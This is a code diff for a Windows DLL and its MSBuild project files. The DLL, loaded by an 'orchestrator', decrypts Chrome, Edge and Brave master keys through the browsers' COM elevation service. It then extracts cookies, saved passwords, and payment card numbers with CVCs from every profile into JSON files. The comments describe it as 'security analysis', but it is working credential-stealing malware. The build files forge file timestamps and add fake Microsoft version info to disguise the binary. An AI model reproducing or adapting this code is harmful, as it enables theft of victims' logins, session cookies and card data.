bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_ALG_HANDLE handle = nullptr;
};
// Simple RAII wrapper for BCrypt key handle
class BCryptKey
{
public:
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
{
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0);
}
~BCryptKey() { if (handle) BCryptDestroyKey(handle); }
operator BCRYPT_KEY_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_KEY_HANDLE handle = nullptr;
};
// Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats)
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
{
// Auto-detect encryption format version
std::string detectedPrefix;
size_t prefixLength = 0;
if (blob.size() >= 3)
{
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
{
detectedPrefix = V10_PREFIX;
prefixLength = V10_PREFIX.length();
}
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
{
detectedPrefix = V20_PREFIX;
prefixLength = V20_PREFIX.length();
}
else
{
return {};
}
}
else
{
return {};
}
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
if (blob.size() < GCM_OVERHEAD_LENGTH)
return {};
// Initialize BCrypt AES-GCM cryptographic provider
BCryptAlgorithm algorithm;
if (!algorithm.IsValid())
return {};
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
// Generate symmetric key from raw key material
BCryptKey cryptoKey(algorithm, key);
if (!cryptoKey.IsValid())
return {};
// Extract cryptographic components from blob
const uint8_t* iv = blob.data() + prefixLength;
const uint8_t* ct = iv + GCM_IV_LENGTH;
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
// Configure GCM authenticated encryption parameters
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = const_cast<PUCHAR>(iv);
authInfo.cbNonce = GCM_IV_LENGTH;
authInfo.pbTag = const_cast<PUCHAR>(tag);
authInfo.cbTag = GCM_TAG_LENGTH;
// Perform authenticated decryption with integrity verification
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
ULONG outLen = 0;
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), &outLen, 0);
if (!NT_SUCCESS(status))
return {};
plain.resize(outLen);
return plain;
}
// Extract and validate encrypted master key from Local State configuration
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
{
std::ifstream f(localStatePath, std::ios::binary);
if (!f)
throw std::runtime_error("Could not open Local State file.");
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
const std::string tag = "\"app_bound_encrypted_key\":\"";
size_t pos = content.find(tag);
if (pos == std::string::npos)
throw std::runtime_error("app_bound_encrypted_key not found.");
pos += tag.length();
size_t end_pos = content.find('"', pos);
if (end_pos == std::string::npos)
throw std::runtime_error("Malformed app_bound_encrypted_key.");
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
if (!optDecoded)
throw std::runtime_error("Base64 decoding of key failed.");
auto& decodedData = *optDecoded;
if (decodedData.size() < sizeof(KEY_PREFIX) ||
memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0)
{
throw std::runtime_error("Key prefix validation failed.");
}
return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()};
}
}
namespace Data
{
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
// Function pointer types for extraction operations
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
// Configuration structure for database extraction operations
struct ExtractionConfig
{
fs::path dbRelativePath;
std::string outputFileName;
std::string sqlQuery;
PreQuerySetupFunc preQuerySetup;
JsonFormatterFunc jsonFormatter;
};
// Pre-query setup for payment cards - loads CVC data
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
{
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
return cvcMap;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
if (guid && blob)
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
}
sqlite3_finalize(stmt);
return cvcMap;
}
// JSON formatter for cookies
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
return std::nullopt;
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
std::ostringstream json_entry;
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
<< "}";
return json_entry.str();
}
// JSON formatter for passwords
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
}
// JSON formatter for payment cards
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
std::string card_num_str, cvc_str;
// Decrypt primary card number
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
if (blob)
{
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
// Decrypt associated CVC if available
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
if (guid && cvcMap && (*cvcMap)->count(guid))
{
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
}
// Comprehensive extraction configurations for different browser data types
const std::vector<ExtractionConfig>& GetExtractionConfigs()
{
static const std::vector<ExtractionConfig> configs = {
// Browser cookie extraction configuration
{fs::path("Network") / "Cookies", "cookies",
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
nullptr, FormatCookie},
// Stored password extraction configuration
{"Login Data", "passwords",
"SELECT origin_url, username_value, password_value FROM logins;",
nullptr, FormatPassword},
// Payment card information extraction configuration
{"Web Data", "payments",
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
SetupPaymentCards, FormatPayment}
};
return configs;
}
}
// Named pipe communication interface with orchestrator process
class PipeLogger
{
public:
explicit PipeLogger(LPCWSTR pipeName)
{
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
}
~PipeLogger()
{
if (m_pipe != INVALID_HANDLE_VALUE)
{
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
FlushFileBuffers(m_pipe);
CloseHandle(m_pipe);
}
}
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
// Send diagnostic message to orchestrator
void Log(const std::string& message)
{
if (isValid())
{
DWORD bytesWritten = 0;
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
}
}
HANDLE getHandle() const noexcept { return m_pipe; }
private:
HANDLE m_pipe = INVALID_HANDLE_VALUE;
};
// Browser configuration and path management
class BrowserManager
{
public:
BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
const Browser::Config& getConfig() const noexcept { return m_config; }
// Resolve user data root directory for current browser configuration
fs::path getUserDataRoot() const
{
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
}
private:
Browser::Config m_config;
};
// Master key decryption service using COM elevation interfaces
class MasterKeyDecryptor
{
public:
explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger)
{
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
{
throw std::runtime_error("Failed to initialize COM library.");
}
m_comInitialized = true;
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
}
~MasterKeyDecryptor()
{
if (m_comInitialized)
{
CoUninitialize();
}
}
// Decrypt master key using browser-specific COM elevation service
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath)
{
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
// Prepare encrypted key as BSTR for COM interface
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
static_cast<UINT>(encryptedKeyBlob.size()));
if (!bstrEncKey)
throw std::runtime_error("SysAllocStringByteLen for encrypted key failed.");
BSTR bstrPlainKey = nullptr;
HRESULT hr = E_FAIL;
DWORD comErr = 0;
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
// Use Edge-specific COM elevation interface
if (config.name == "Edge")
{
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
// Use Chrome/Brave COM elevation interface
else
{
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
// Cleanup and validate COM decryption operation result
SysFreeString(bstrEncKey);
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
{
if (bstrPlainKey) SysFreeString(bstrPlainKey);
std::ostringstream oss;
oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr;
throw std::runtime_error(oss.str());
}
// Extract raw AES key bytes from BSTR
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
SysFreeString(bstrPlainKey);
return aesKey;
}
private:
PipeLogger& m_logger;
bool m_comInitialized = false;
};
// Browser profile discovery and enumeration service
class ProfileEnumerator
{
public:
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
: m_userDataRoot(userDataRoot), m_logger(logger) {}
// Discover all browser profiles containing extractable databases
std::vector<fs::path> FindProfiles()
{
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
std::vector<fs::path> profilePaths;
// Check if directory contains extractable database files
auto isProfileDirectory = [](const fs::path& path)
{
for (const auto& dataCfg : Data::GetExtractionConfigs())
{
if (fs::exists(path / dataCfg.dbRelativePath))
return true;
}
return false;
};
// Check if root directory qualifies as a profile
if (isProfileDirectory(m_userDataRoot))
{
profilePaths.push_back(m_userDataRoot);
}
// Scan for profile subdirectories with database content
std::error_code ec;
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
{
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
{
profilePaths.push_back(entry.path());
}
}
if (ec)
{
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
}
// Remove duplicates using sort + unique instead of std::set
std::sort(profilePaths.begin(), profilePaths.end());
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
return profilePaths;
}
private:
fs::path m_userDataRoot;
PipeLogger& m_logger;
};
// Database content extraction service using SQLite interface
class DataExtractor
{
public:
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
const fs::path& baseOutputPath, const std::string& browserName)
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
// Extract and decrypt data from browser database
void Extract()
{
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
if (!fs::exists(dbPath))
return;
// Open database with nolock parameter for live extraction without file locking
sqlite3* db = nullptr;
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
{
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
": " + (db ? sqlite3_errmsg(db) : "N/A"));
if (db) sqlite3_close_v2(db);
return;
}
// Prepare SQL query for data extraction
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
{
sqlite3_close_v2(db);
return;
}
// Execute pre-query setup if needed (e.g., for payment card CVCs)
void* preQueryState = nullptr;
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
if (m_config.preQuerySetup)
{
cvcMap = m_config.preQuerySetup(db);
preQueryState = &cvcMap;
}
// Extract and format data entries using custom formatters
std::vector<std::string> jsonEntries;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
{
jsonEntries.push_back(*jsonEntry);
}
}
sqlite3_finalize(stmt);
sqlite3_close_v2(db);
// Write extraction results to structured JSON output file
if (!jsonEntries.empty())
{
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
(m_config.outputFileName + ".json");
std::error_code ec;
fs::create_directories(outFilePath.parent_path(), ec);
if (ec)
{
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
return;
}
std::ofstream out(outFilePath, std::ios::trunc);
if (!out) return;
out << "[\n";
for (size_t i = 0; i < jsonEntries.size(); ++i)
{
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
}
out << "\n]\n";
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
" extracted to " + StringUtils::path_to_string(outFilePath));
}
}
private:
fs::path m_profilePath;
const Data::ExtractionConfig& m_config;
const std::vector<uint8_t>& m_aesKey;
PipeLogger& m_logger;
fs::path m_baseOutputPath;
std::string m_browserName;
};
// Main orchestrator for browser security analysis operations
class SecurityOrchestrator
{
public:
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
{
if (!m_logger.isValid())
{
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
}
ReadPipeParameters();
}
// Execute complete browser security analysis workflow
void Run()
{
BrowserManager browserManager;
const auto& browserConfig = browserManager.getConfig();
m_logger.Log("[*] Security analysis process started for " + browserConfig.name);
// Decrypt master key using COM elevation service
std::vector<uint8_t> aesKey;
{
MasterKeyDecryptor keyDecryptor(m_logger);
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath);
}
m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey));
// Discover and process all browser profiles systematically
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger);
auto profilePaths = enumerator.FindProfiles();
for (const auto& profilePath : profilePaths)
{
m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
// Extract each data type (cookies, passwords, payments) using specialized handlers
for (const auto& dataConfig : Data::GetExtractionConfigs())
{
DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name);
extractor.Extract();
}
}
m_logger.Log("[*] All profiles processed. Security analysis process finished.");
}
private:
// Read configuration parameters from orchestrator via named pipe
void ReadPipeParameters()
{
char buffer[MAX_PATH + 1] = {0};
DWORD bytesRead = 0;
// Read verbose flag configuration
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
// Read output path configuration
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
buffer[bytesRead] = '\0';
m_outputPath = buffer;
}
PipeLogger m_logger;
fs::path m_outputPath;
};
}
// Thread parameters for security module worker thread
struct ModuleThreadParams
{
HMODULE hModule_dll;
LPVOID lpPipeNamePointerFromOrchestrator;
};
// Main worker thread for browser security analysis operations
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
try
{
SecurityComponents::SecurityOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
orchestrator.Run();
}
catch (const std::exception& e)
{
try
{
// Attempt to log error through pipe if communication channel is available
SecurityComponents::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
if (errorLogger.isValid())
{
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
}
}
catch (...) {} // Failsafe error handling if logging subsystem fails
}
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
return 0;
}
// Security module entry point - initializes browser security analysis operations
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
if (!params) return TRUE;
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
if (hThread)
{
CloseHandle(hThread);
}
else
{
delete params;
}
}
return TRUE;
}

Binary file not shown.

View File

@@ -7,7 +7,7 @@
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<VCProjectVersion>17.0</VCProjectVersion>
<ProjectGuid>{87654321-4321-4321-4321-123456789DEF}</ProjectGuid>
<RootNamespace>chromedecrypt</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
@@ -17,9 +17,9 @@
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
@@ -33,6 +33,7 @@
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>kvc_crypt</TargetName>
<UseStructuredOutput>false</UseStructuredOutput>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
@@ -45,8 +46,10 @@
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MaxSpeed</Optimization>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
<Optimization>MinSpace</Optimization>
<OmitFramePointers>true</OmitFramePointers>
<StringPooling>true</StringPooling>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Os /Brepro %(AdditionalOptions)</AdditionalOptions>
<IgnoreSpecificDefaultLibraries>ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
</ClCompile>
<Link>
@@ -56,33 +59,39 @@
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>$(ProjectDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP %(AdditionalOptions)</AdditionalOptions>
<AdditionalOptions>/OPT:REF /OPT:ICF=10 /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP /INCREMENTAL:NO %(AdditionalOptions)</AdditionalOptions>
<ModuleDefinitionFile>kvc_crypt.def</ModuleDefinitionFile>
<AdditionalOptions>/NODEFAULTLIB:msvcprt.lib %(AdditionalOptions)</AdditionalOptions>
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
<StripPrivateSymbols>true</StripPrivateSymbols>
<TargetMachine>MachineX64</TargetMachine>
<IgnoreSpecificDefaultLibraries>msvcprt.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<!-- Fixed: Removed NO_RESOURCES to enable Microsoft Corporation version info -->
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="kvc_crypt.cpp" />
<ClCompile Include="CryptCore.cpp" />
<ClCompile Include="BrowserCrypto.cpp" />
<ClCompile Include="DataExtraction.cpp" />
<ClCompile Include="CommunicationModule.cpp" />
<ClCompile Include="SelfLoader.cpp" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Enabled resource.h include -->
<ClInclude Include="CryptCore.h" />
<ClInclude Include="BrowserCrypto.h" />
<ClInclude Include="DataExtraction.h" />
<ClInclude Include="CommunicationModule.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SelfLoader.h" />
<ClInclude Include="winsqlite3.h" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Added resource file for Microsoft Corporation version info -->
<ResourceCompile Include="kvc_crypt.rc" />
</ItemGroup>
<!-- DODAJ TARGET DO CZYSZCZENIA ZASOBÓW -->
<Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
<Exec Command="if exist &quot;@(FinalOutputPath)&quot; echo Building minimal DLL..." />
</Target>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -7,7 +7,7 @@
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<VCProjectVersion>17.0</VCProjectVersion>
<ProjectGuid>{12345678-1234-1234-1234-123456789ABC}</ProjectGuid>
<RootNamespace>kvc_pass</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
@@ -35,48 +35,57 @@
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>kvc_pass</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MaxSpeed</Optimization>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>Rpcrt4.lib;version.lib;shell32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions)</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalOptions>/OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
